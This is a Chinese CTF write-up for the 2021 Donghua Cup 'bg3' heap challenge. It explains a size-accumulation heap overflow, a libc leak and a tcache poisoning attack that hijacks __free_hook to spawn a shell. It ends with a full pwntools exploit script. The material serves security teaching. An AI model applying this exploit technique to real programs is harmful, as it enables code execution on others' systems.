[2021 东华杯]bg3

news2024/10/5 19:14:48

Index

  • 介绍
  • 漏洞
  • 利用过程
    • 一.泄露Libc
    • 二.Tcache Bin Attack
    • 三.完整EXP

介绍

[2021 东华杯]bg3
本题是C++写的一道经典菜单堆题,拥有增删改查全部功能。

Bug DataBase - V3.0 - I think i am UnBeatAble
1. Upload A Bug
2. Change A Uploaded Bug
3. Get Uploaded Bug Deatils
4. Remove A Bug From DataBase
Select:

本题本地和远程需要两套Libc和两套偏移。远程的Libc版本是libc-2.31-9.2_amd64,本地的Libc版本是libc-2.31-9.9_amd64

漏洞

    dword_43E0[v8] += v9[0];
    v4 = v8;
    qword_42E0[v4] = operator new[](v9[0]);
  }

C++中一般推荐使用operator new申请堆块,而operator new的参数是v9,那么意思就是dword_43E0[v8] += v9[0]就是赋值chunk大小的地方。
+=引发了一个Bug,就是当我们输入相同Chunk的Index时,我们可以修改其Chunk Size。
也就是,如果Chunk 1原先的大小是0x10,我再使用相同的参数,Chunk 1的Size就会变成0x20。
但是实际上它的Size并未改变,改变的是Edit函数中我们可以访问的范围。
因此实际上Add函数存在堆溢出漏洞,我们只需要修改程序认为的函数大小大于函数大小就能令我们修改下一个堆块的内容。

利用过程

一.泄露Libc

本题New函数并未限制创建的堆块大小,因此我们直接创建一块大小为0x410的堆,这个堆就会进入Unsorted Bin中。当我们释放这个堆块时,堆块的FD和BK指针会被main_arena + xxx的一个地址覆盖,由于程序使用opreator new函数申请堆,operator new函数并不会清空内存块的内容。而因为程序不存在UAF漏洞,我们在释放了堆块后重新申请堆块并显示内容就能得到我们的Libc地址。

add(0, 0x410)
add(1, 0x10)
free(0)
add(0, 0x410)
show(0)
addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = addr - 0x1ecbe0
#libcbase = addr - 0x1ebbe0

其中
add(1, 0x10)是为了防止内存被回收到Top Chunk。
存在2个libcbase是因为一个是本地偏移一个是远程偏移。
在这里插入图片描述
在这里插入图片描述

二.Tcache Bin Attack

我们利用Add函数的漏洞,进行堆溢出攻击。
首先我们反复申请一个Chunk。

add(2, 0x18)
free(2)
add(2, 0x18)
free(2)
add(2, 0x18)

这样我们就申请了一个程序认为大小为0x48的堆,也就是Chunk 2在程序中的大小为0x48,实际上的大小还是0x18。
然后我们申请Chunk 3和Chunk 4,先释放掉Chunk 4,此时Chunk 3的FD指针指向了Chunk 4,因为Chunk 4是首先释放的一块空闲内存。

add(3, 0x18)
add(4, 0x18)
free(4)
free(3)

然后我们通过使用Chunk 2的堆溢出漏洞,改写Chunk 3的FD指针,使其指向__free_hook函数,劫持__free_hook函数为为system函数,最后在Chunk 0、Chunk 1或者任意Chunk中写入/bin/sh\x00即可GetShell。
在这里插入图片描述

edit(2, p64(0) * 3 + p64(0x21) + p64(free_hook))
add(5, 0x18)
add(6, 0x18)
edit(6, p64(system))
edit(1, b'/bin/sh\x00')
free(1)
io.interactive()

这里复用了防止粘连的Chunk 1,为了好看,物尽其用(实际上都行)。

三.完整EXP

from pwn import *

io = process('./bg3')
#io = remote('node2.anna.nssctf.cn', 28673)
elf = ELF('./bg3')
context(arch='amd64', os='linux', log_level='debug')
# Local Libc
libc = ELF('/home/kaguya/Desktop/how2heap-master/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
# Remote Libc
# libc = ELF('/home/kaguya/Desktop/libc-2.31.so')


def debug():
	gdb.attach(io)
	pause()


def add(index, num):
	io.sendlineafter(b'Select:', b'1')
	io.sendlineafter(b'Index:', (str(index)))
	io.sendlineafter(b'PayloadLength:', (str(num)))
	

def edit(index, content):
	io.sendlineafter(b'Select:', b'2')
	io.sendlineafter(b'Index:', (str(index)))
	io.sendlineafter(b'BugInfo:', content)
	
	
def show(index):
	io.sendlineafter(b'Select:', b'3')
	io.sendlineafter(b'Index:', (str(index)))
	

def free(index):
	io.sendlineafter(b'Select:', b'4')
	io.sendlineafter(b'Index:', (str(index)))


add(0, 0x410)
add(1, 0x10)
free(0)
add(0, 0x410)
show(0)
addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# Local Offset
libcbase = addr - 0x1ecbe0
# Remote Offset
# libcbase = addr - 0x1ebbe0

print(hex(addr))
print(hex(libcbase))

add(2, 0x18)
free(2)
add(2, 0x18)
free(2)
add(2, 0x18)

add(3, 0x18)
add(4, 0x18)
free(4)
free(3)

free_hook = libc.sym['__free_hook'] + libcbase
system = libc.sym['system'] + libcbase
edit(2, p64(0) * 3 + p64(0x21) + p64(free_hook))
add(5, 0x18)
add(6, 0x18)
edit(6, p64(system))
edit(1, b'/bin/sh\x00')
free(1)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/424919.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

企业大数据湖总体规划及大数据湖 一体化运营管理建设方案

背景:数据快速入湖,分析更加智能,应用更加多样,服务更加开放更多企业数据将进入数据湖,来自传统系统的数据和传感器等新型数据资源不断融合,数据孤岛将继续被打破。随着大数据分析能力的不断提高&#xff0…

借助Nacos配置中心实现一个动态线程池

目录 一、实现思路 二、实现说明概览 三、代码实现 DynamicThreadPool RejectedProxyInvocationHandler DynamicThreadPoolRegister DynamicThreadPoolRefresher 测试动态线程池 平常我们系统中定义的一些线程池如果要想修改的话,需要修改配置重启服务才能生…

『pyqt5 从0基础开始项目实战』05. 按钮点击事件之添加新数据 (保姆级图文)

目录导包和框架代码给按钮绑定一个点击事件获取输入框的数据多线程与界面更新(新线程与UI更新的数据交互)代码结构完整代码main文件Threads.py总结欢迎关注 『pyqt5 从0基础开始项目实战』 专栏,持续更新中 欢迎关注 『pyqt5 从0基础开始项目…

上海亚商投顾:沪指创年内新高 大金融、中字头集体走强

上海亚商投顾前言:无惧大盘涨跌,解密龙虎榜资金,跟踪一线游资和机构资金动向,识别短期热点和强势个股。 市场情绪 沪指今日低开高走,午后涨超1%,创出近10个月以来新高,创业板指走势较弱&#xf…

不走弯路,AI真的能提高生产效率

AI应用虽然取得了令人瞩目的成果,但是在实际应用中仍存在不少困境。市面上不乏有AI绘画、AI写作、AI聊天的相关产品,即使Chatgpt可以写代码、写论文,但由于技术的有限性,还需要不断地优化完善才能给出更精准的答复,也少…

契约锁与多家软件行业伙伴达成战略合作,携手助力组织数字化转型

近日,契约锁电子签章与天翼云、神州数码、同望科技、宏灿软件、甄零科技、正量科技等多家软件行业伙伴达成战略合作,充分发挥各自专业与资源优势,从产品、市场、销售、技术等多方面展开深度合作,共同为客户提供全程数字化解决方案…

zabbix创建自定义监控模板

目录 第一章先行配置zabbix 第二章配置自定义 2.1.案列:自定义监控客户端服务器登录的人数需求:限制登录人数不超过 3 个,超过 3 个就发出报警信息 2.2.在 Web 页面创建自定义监控项模板 2.3.zabbix 自动发现与自动注册 总结 自定义监控…

【论文精度(李沐老师)】Generative Adversarial Nets

Abstract 我们提出了一个新的framework,通过一个对抗的过程来估计生成模型,其中会同时训练两个模型:生成模型G来获取整个数据的分布,辨别模型D来分辨数据是来自于训练样本还是生成模型G。生成模型G的任务是尽量的让辨别模型D犯错…

DI依赖注入

DI依赖注入Setter注入setter注入引用类型setter注入简单类型(基本数据类型和字符串)构造器注入构造器注入引用类型自动装配集合注入首先我们明确一些观点1、注入的Bean的数据包括引用类型与简单类型(基本数据类型和字符串)2、通过…

HTML5 地理定位

HTML5 Geolocation(地理定位) HTML5 Geolocation(地理定位)用于定位用户的位置。 Geolocation 通过请求一个位置信息,用户同意后,浏览器会返回一个包含经度和维度的位置信息! 定位用户的位置 …

【C语言数组部分】

数组部分综述引入:数组概念:一、一维数组1.1一维数组的创建:1.2一维数组的初始化:1.2.1初始化概念:1.2.2完全初始化:1.2.3不完全初始化:1.3字符数组的初始化:1.3.1用字符初始化&…

如何解决spring的循环依赖问题?

前言 昨天我们说了什么是spring的循环依赖,以及产生的原因,今天那我们就来说说如何解决spring的循环依赖问题。 上篇文章说到过,只有通过setter方法进行依赖注入且是在单例模式下产生的循环依赖问题是被解决的? Spring是怎样解决…

rhce第二次作业

配置ssh免密登陆,能够通过客户端主机通过redhat用户和服务端主机基于公钥验证方式进行远程连接 [root456 ~]# hostname host [root456 ~]# bash \\更改名称[roothost ~]# su redhat …

2023年腾讯云S5云服务器性能网络收发包PPS、连接数、内网带宽能力等性能测评

腾讯云服务器标准型S5实例CPU采用Intel Xeon Cascade Lake或者Intel Xeon Cooper Lake处理器,主频2.5GHz,睿频3.1GHz,标准型S5云服务器基于全新优化虚拟化平台,配有全新的Intel Advanced Vector Extension (AVX-512) 指令集&#…

微服务+springcloud+springcloud alibaba学习笔记【Spring Cloud服务网关】(7/9)

Spring Cloud服务网关 7/91、GateWay概述2、GateWay的特性:3、GateWay与zuul的区别:4、zuul1.x的模型:5、什么是webflux:6、GateWay三大概念:6.1,路由:6.2,断言:6.3,过滤:7、GateWay的工作原理:8、使用GateWay:8.1,建module8.2,修改pom文件8.3,写配置文件8.4,主启动类8.5,针对p…

Springboot 整合 Redis 进行基本操作

SpringBoot整合Redis 首先创建 Springboot 项目。 spring-data-redis针对jedis提供了如下功能:1.连接池自动管理,并提供了一个高度封装的“RedisTemplate”类2.针对jedis客户端中大量api进行了归类封装,将同一类型操作封装为operation接口ValueOperat…

计网第六章.应用层各协议概览

以下来自湖科大计算机网络公开课笔记及个人所搜集资料 目录一. C/S方式和P2P对等方式二. 动态主机配置协议DHCP三.域名系统DNS域名解析过程四.文件传输协议FTP基本工作原理:五.电子邮件六.万维网www万维网的文档6.1 HTTP(HyperText Transfer Protocol&am…

左手Python 右手R —— 最大公约数和最小公倍数

左手Python 右手R —— 最大公约数和最小公倍数前言1、 最大公约数1.1 约数1.2 最大公约数1.3 求解方法2、 最小公倍数2.1 倍数2.2 最小公倍数2.3 求解方法3、程序实现3.1 python 代码实现3.2 R语言代码实现小结创作不易,都浏览到这儿了,看官可否将下面的…

【Linux系统创建,修改用户和组和修改目录文件的权限以及实验的心得体会】

实验过程 1.创建一个新用户nick,设置其主目录为home/nick。 (1)添加新用户: sudo useradd -m 用户名 sudo passwd 新用户名 (2)给新用户可以执行的root权限 sudo vi /etc/sudoers #User privilege specification roo…

Spring Security实战(一)——基于内存和数据库模型的认证与授权

目录 简介 一、初识Spring Security(入门案例) (1)新建project (2)选择依赖 (3)编写一个 HelloController (4)启动项目,访问localhost:8080…